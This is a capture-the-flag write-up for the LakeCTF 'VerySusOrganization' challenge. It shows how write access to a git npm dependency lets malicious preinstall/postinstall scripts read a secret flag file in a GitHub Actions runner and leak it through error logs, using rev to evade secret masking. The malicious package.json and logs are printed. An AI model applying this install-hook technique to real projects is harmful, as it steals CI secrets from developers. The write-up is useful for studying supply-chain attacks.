LakeCTF '24-'25 Quals — VerySusOrganization
You have been hired to contribute to a very suspicious project. Follow the link below to get onboard.
https://challs.polygl0ts.ch:8123
We're given access to an organization that looks like this:
Besides the random projects, of note are two repositories:
- The "sus image generator", which contains a GitHub action, and
- The "sus random number generator", which we have write access to.
Notably, the check build workflow does an npm install
,
Code (yml):
1name: Trigger Build on Comment
2
3on:
4 issue_comment:
5 types: [created, edited]
6
7jobs:
8 check-build:
9 if: ${{ startsWith(github.event.comment.body, '/run-build') }}
10 runs-on: ubuntu-latest
11 steps:
12 - name: Checkout code
13 uses: actions/checkout@v2
14 with:
15 fetch-depth: 0
16
17 - name: Set up SSH
18 env:
19 ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
20 FLAG: ${{ secrets.FLAG }}
21 run: |
22 pwd
23 mkdir -p ~/.ssh
24 echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
25 echo "$FLAG" > ~/flag.txt
26 chmod 600 ~/.ssh/id_rsa
27 ssh-keyscan github.com >> ~/.ssh/known_hosts
28
29
30 - name: Install dependencies
31 run: |
32 npm install
and the image generator lists the random number generator repo as a dependency in package.json
:
Code (json):
1{
2 "name": "sus-image-generator",
3 "version": "1.0.0",
4 "main": "app.js",
5 "keywords": [],
6 "author": "paultisaw",
7 "license": "ISC",
8 "description": "Yet another sus image generator",
9 "dependencies": {
10 "express": "^4.21.1",
11 "suspicious-random-number-generator": "git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git"
12 }
13}
Then, because we have write access to the random number generator repository, we can use npm pre- / post-install scripts to execute malicious code in the GitHub runner.
One last hiccup: when a pre- or post-install script is run, its output is suppressed by NPM, so we can't just echo the flag directly. However, returning an error will cause any prior output to be logged. Testing with a preinstall script of echo test
,
Code (bash):
1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2
3added 1 package in 9s
But if we use echo test && exit 1
,
Code (bash):
1PS C:\Users\kevin\Downloads> npm i git+ssh://git@github.com:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
2npm ERR! code 1
3npm ERR! git dep preparation failed
4npm ERR! command C:\Program Files\nodejs\node.exe C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js install --force --cache=C:\Users\kevin\AppData\Local\npm-cache --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit --include=dev --include=peer --include=optional --no-package-lock-only --no-dry-run
5npm ERR! > suspicious-random-number-generator@1.0.1 preinstall
6npm ERR! > echo test && exit 1
7npm ERR!
8npm ERR! test
9npm ERR! npm WARN using --force Recommended protections disabled.
10npm ERR! npm ERR! code 1
11npm ERR! npm ERR! path C:\Users\kevin\AppData\Local\npm-cache\_cacache\tmp\git-clonesoPIBC
12npm ERR! npm ERR! command failed
13npm ERR! npm ERR! command C:\WINDOWS\system32\cmd.exe /d /s /c echo test && exit 1
14npm ERR!
15npm ERR! npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_43_586Z-debug-0.log
16
17npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_34_744Z-debug-0.log
Then we have our final payload; in the random number generator repo, we can add a post-install script to cat the flag and error out, printing the output to the GitHub actions console:
Code (json):
1{
2 "name": "suspicious-random-number-generator",
3 "version": "1.0.1",
4 "main": "index.js",
5 "author": "paultisaw",
6 "description": "Yet another suspicious random number generator",
7 "scripts": {
8 "preinstall": "rev ~/flag.txt && exit 1",
9 "postinstall": "rev ~/flag.txt && exit 1"
10 }
11}
(using rev
here to reverse the string and prevent GitHub from automatically censoring the flag in the action output). Triggering a workflow run, we get the flag:
Code (bash):
1kevin@ky28059:~$ echo "}suS_yrev_d33Dni_saw_SIhT{LPFE" | rev
2EFPL{ThIS_was_inD33d_very_Sus}